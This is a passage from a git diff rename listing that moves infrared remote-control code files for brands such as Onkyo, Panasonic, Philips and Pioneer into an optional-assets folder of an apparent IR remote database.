optional-assets}/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/CD Player/132,117.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/CD Player/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/CD Player/210,13.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/CD Player/210,44.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Receiver/210,108.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Receiver/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Tuner/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Tuner/210,37.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown/210,44.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Receiver/160,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Receiver/160,28.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Receiver/160,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/TV/128,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/TV/128,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/TV/128,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/TV/128,9.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/VCR/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/VCR/144,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/VCR/144,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panasonic/VCR/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Parasound/Receiver/134,97.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Parasound/Receiver/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Parasound/Receiver/3,240.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/CD-R/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/CD-R/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/DSS/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/DSS/39,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Receiver/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Receiver/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Receiver/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Receiver/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/TV/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Philips/VCR/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/TV/170,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/TV/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir (100%) rename assets/resources/infrared/{ => 